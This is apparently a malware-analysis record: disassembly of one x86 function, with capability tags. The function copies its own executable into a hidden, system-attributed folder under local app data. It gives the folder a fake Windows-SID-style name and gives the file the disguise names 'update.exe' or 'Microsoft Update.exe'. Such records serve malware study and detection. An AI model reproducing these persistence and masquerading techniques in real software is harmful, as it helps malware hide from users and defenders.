Function at 0x402d10
Capabilities:
Create directory
Get common file path
Set file attributes

Disassembly:
sub esp, 0xe84
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0xe80], eax
push ebx
push ebp
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x87a]
push ecx
mov word [esp + 0x87c], ax
call fcn.00403bf0
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x67e]
push eax
mov word [esp + 0x680], dx
call fcn.00403bf0
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x482]
push edx
mov word [esp + 0x484], cx
call fcn.00403bf0
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x286]
push ecx
mov word [esp + 0x288], ax
call fcn.00403bf0
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0xab2]
push eax
mov word [esp + 0xab4], dx
call fcn.00403bf0
push 0x208
lea ecx, [esp + 0xcc0]
push 0
push ecx
call fcn.00403bf0
mov ebp, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
add esp, 0x48
push 0
push 0x1c
lea edx, [esp + 0xc88]
push edx
push 0
call ebp
lea eax, [esp + 0xc80]
add eax, 0xfffffffe
mov edi, edi
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x402df0
mov ecx, dword [str.Start]
mov edx, dword [0x40d4d8]
mov dword [eax], ecx
mov ecx, dword [0x40d4dc]
mov dword [eax + 4], edx
mov dx, word [0x40d4e0]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
lea eax, [esp + 0xc80]
add eax, 0xfffffffe
jmp 0x402e30
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x402e30
mov ecx, dword [str.update.exe]
mov edx, dword [0x40d398]
mov dword [eax], ecx
mov ecx, dword [0x40d39c]
mov dword [eax + 4], edx
mov edx, dword [0x40d3a0]
mov dword [eax + 8], ecx
mov ecx, dword [0x40d3a4]
mov dword [eax + 0xc], edx
mov edx, dword [0x40d3a8]
mov dword [eax + 0x10], ecx
push 0x208
mov dword [eax + 0x14], edx
lea eax, [esp + 0x874]
push 0
push eax
call fcn.00403bf0
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
add esp, 0xc
push 0x104
lea ecx, [esp + 0x874]
push ecx
push 0
call ebx
lea ecx, [esp + 0x870]
lea eax, [esp + 0xc80]
lea ecx, [ecx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x402ed6
test dx, dx
je 0x402ed2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x402ed6
add eax, 4
add ecx, 4
test dx, dx
jne 0x402eb0
xor eax, eax
jmp 0x402edb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x402efb
pop ebp
mov eax, 1
pop ebx
mov ecx, dword [esp + 0xe80]
xor ecx, esp
call fcn.00403be0
add esp, 0xe84
ret
push edi
push 0x208
lea edx, [esp + 0xa80]
push 0
push edx
call fcn.00403bf0
add esp, 0xc
push 0
push 0x1c
lea eax, [esp + 0xa84]
push eax
push 0
call ebp
lea edi, [esp + 0xa7c]
add edi, 0xfffffffe
lea ecx, [ecx]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x402f30
push esi
mov ecx, 0xb
mov esi, str.Microsoft_Update.exe
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x878]
lea eax, [esp + 0xa80]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x402f7d
test dx, dx
je 0x402f79
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x402f7d
add eax, 4
add ecx, 4
test dx, dx
jne 0x402f57
xor eax, eax
jmp 0x402f82
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x403157
push 0x208
lea ecx, [esp + 0x674]
push 0
push ecx
call fcn.00403bf0
push 0x208
lea edx, [esp + 0x478]
push 0
push edx
call fcn.00403bf0
push 0x208
lea eax, [esp + 0x27c]
push 0
push eax
call fcn.00403bf0
add esp, 0x24
push 0x104
lea ecx, [esp + 0x264]
push ecx
push 0
call ebx
lea eax, [esp + 0x260]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402fe4
sub eax, edx
sar eax, 1
xor edx, edx
mov word [esp + eax*2 + 0x258], dx
xor eax, eax
nop
movzx ecx, word [esp + eax + 0x260]
mov word [esp + eax + 0x670], cx
add eax, 2
test cx, cx
jne 0x403000
lea eax, [esp + 0x670]
push 0x5c
push eax
call fcn.00403de4
add esp, 8
push 0
push 0x1c
lea ecx, [esp + 0x470]
push ecx
mov ebx, eax
push 0
add ebx, 2
call ebp
lea edi, [esp + 0x468]
add edi, 0xfffffffe
lea esp, [esp]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x403050
mov ecx, 0x1d
mov esi, str.S_1_5_31_1286970278978_5713669491_166975984_320Rotinom_
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403070
lea edi, [esp + 0x468]
sub eax, edx
add edi, 0xfffffffe
jmp 0x403090
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x403090
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor eax, eax
mov edi, edi
movzx ecx, word [esp + eax + 0x260]
mov word [esp + eax + 0x670], cx
add eax, 2
test cx, cx
jne 0x4030b0
lea edi, [esp + 0x260]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4030d2
mov ecx, dword [0x40d280]
mov dword [edi], ecx
lea edi, [esp + 0x468]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4030f0
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x674]
push eax
mov dword [edi], ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
jne 0x403152
push 0
lea ecx, [esp + 0x264]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x40315c
push 7
lea edx, [esp + 0x264]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [esp + 0x260]
push eax
lea ecx, [esp + 0x46c]
push ecx
call fcn.00402060
add esp, 8
call fcn.00402130
mov eax, 1
mov ecx, dword [esp + 0xe90]
pop esi
pop edi
pop ebp
pop ebx
xor ecx, esp
call fcn.00403be0
add esp, 0xe84
ret